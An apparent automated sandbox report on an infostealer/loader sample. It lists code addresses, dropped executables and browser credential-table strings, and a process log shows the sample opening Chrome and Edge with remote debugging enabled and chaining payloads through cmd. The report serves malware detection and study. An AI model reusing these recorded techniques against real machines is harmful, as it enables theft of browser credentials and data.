Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCB9C40	0_2_6CCB9C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB93C40	0_2_6CB93C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC61DC0	0_2_6CC61DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB83D80	0_2_6CB83D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD9D90	0_2_6CCD9D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF3D00	0_2_6CBF3D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB3EC0	0_2_6CBB3EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD15E60	0_2_6CD15E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCEBE70	0_2_6CCEBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC9DE10	0_2_6CC9DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCADFC0	0_2_6CCADFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD13FC0	0_2_6CD13FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB1F90	0_2_6CBB1F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3BFF0	0_2_6CC3BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB85F30	0_2_6CB85F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC5F20	0_2_6CBC5F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCE7F20	0_2_6CCE7F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC93F30	0_2_6CC93F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2F8C0	0_2_6CC2F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6F8F0	0_2_6CC6F8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCEB8F0	0_2_6CCEB8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9D8E0	0_2_6CB9D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC38E0	0_2_6CBC38E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC63840	0_2_6CC63840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBED810	0_2_6CBED810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC299C0	0_2_6CC299C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC279F0	0_2_6CC279F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA1980	0_2_6CBA1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF59F0	0_2_6CBF59F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC61990	0_2_6CC61990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC99D0	0_2_6CBC99D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0F960	0_2_6CC0F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4D960	0_2_6CC4D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCDF900	0_2_6CCDF900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC45920	0_2_6CC45920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB91AE0	0_2_6CB91AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6DAB0	0_2_6CC6DAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD19A50	0_2_6CD19A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCFA10	0_2_6CBCFA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC31A10	0_2_6CC31A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC8DA30	0_2_6CC8DA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE9BA0	0_2_6CBE9BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB81B80	0_2_6CB81B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD7BF0	0_2_6CBD7BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC75B90	0_2_6CC75B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC59BB0	0_2_6CC59BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDBB20	0_2_6CBDBB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6FB60	0_2_6CC6FB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB914E0	0_2_6CB914E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD114A0	0_2_6CD114A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1D410	0_2_6CC1D410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC79430	0_2_6CC79430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC9590	0_2_6CBC9590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC155F0	0_2_6CC155F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA5510	0_2_6CBA5510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF7500	0_2_6CBF7500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCDF510	0_2_6CCDF510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC16A0	0_2_6CBC16A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF96A0	0_2_6CBF96A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB9600	0_2_6CBB9600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC07610	0_2_6CC07610
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA9650	0_2_6CBA9650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE5640	0_2_6CBE5640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD37C0	0_2_6CCD37C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1B7A0	0_2_6CC1B7A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC7D740	0_2_6CC7D740
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB3720	0_2_6CBB3720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFD710	0_2_6CBFD710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC69720	0_2_6CC69720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC47090	0_2_6CC47090
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Code function: 24_2_00FD78BB	24_2_00FD78BB
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Code function: 24_2_00FD8860	24_2_00FD8860
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Code function: 24_2_00FD7049	24_2_00FD7049
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Code function: 24_2_00FD31A8	24_2_00FD31A8
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Code function: 24_2_00F94B30	24_2_00F94B30
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Code function: 24_2_00F94DE0	24_2_00F94DE0
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Code function: 24_2_00FD2D10	24_2_00FD2D10
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Code function: 24_2_00FD779B	24_2_00FD779B
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Code function: 24_2_00FC7F36	24_2_00FC7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0085E530	25_2_0085E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00876192	25_2_00876192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00898860	25_2_00898860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00854B30	25_2_00854B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00854DE0	25_2_00854DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00892D10	25_2_00892D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00870E13	25_2_00870E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00897049	25_2_00897049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_008931A8	25_2_008931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00871602	25_2_00871602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0089779B	25_2_0089779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_008978BB	25_2_008978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00873DF1	25_2_00873DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00887F36	25_2_00887F36

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 008680C0 appears 132 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00867A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0086D64E appears 54 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0086D663 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0086D942 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0086DF80 appears 46 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CD1D930 appears 71 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBB3620 appears 96 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBB9B10 appears 109 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CCC9F30 appears 53 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CD1DAE0 appears 89 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CD109D0 appears 353 times
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Code function: String function: 00FA80C0 appears 130 times

Source: file.exe, 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2054840783.000000006FE52000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: uikmugxw ZLIB complexity 0.9949515127086495
Source: random[2].exe.25.dr	Static PE information: Section: uikmugxw ZLIB complexity 0.9949515127086495
Source: ef7349e1dc.exe.25.dr	Static PE information: Section: uikmugxw ZLIB complexity 0.9949515127086495

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@86/318@51/30

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBF0300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CBF0300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\ZS63VUOP.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8620:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\03ac2762-5ea3-4981-8666-2454b4d1adb8.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2053044107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2044429853.000000001DE06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2053044107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2044429853.000000001DE06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2053044107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2044429853.000000001DE06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2053044107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2044429853.000000001DE06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, file.exe, 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2053044107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2044429853.000000001DE06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2053044107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2044429853.000000001DE06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2053044107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2044429853.000000001DE06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000003.1623990979.000000001DD04000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1746164508.000000001DCF8000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271189451.0000000005C47000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2285711640.0000000005C52000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286207339.0000000005C46000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392487485.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408232585.0000000005482000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408523263.0000000005475000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2393044068.0000000005497000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2565484858.00000000054A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2053044107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2044429853.000000001DE06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2053044107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2044429853.000000001DE06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: ef7349e1dc.exe, 00000025.00000002.2653003050.00000000015CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT url FROM moz_places LIMIT 1000;`F(

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsEGHJKFHJJJ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2360 --field-trial-handle=2288,i,486927010696589672,1733184078241885908,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2652 --field-trial-handle=2408,i,6641453061144022291,10834478853577902840,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6852 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7012 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEGHJKFHJJJ.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsEGHJKFHJJJ.exe "C:\Users\user\DocumentsEGHJKFHJJJ.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe "C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5936 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4508 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe "C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe "C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe "C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe "C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe "C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe "C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe "C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEGHJKFHJJJ.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2360 --field-trial-handle=2288,i,486927010696589672,1733184078241885908,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2652 --field-trial-handle=2408,i,6641453061144022291,10834478853577902840,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
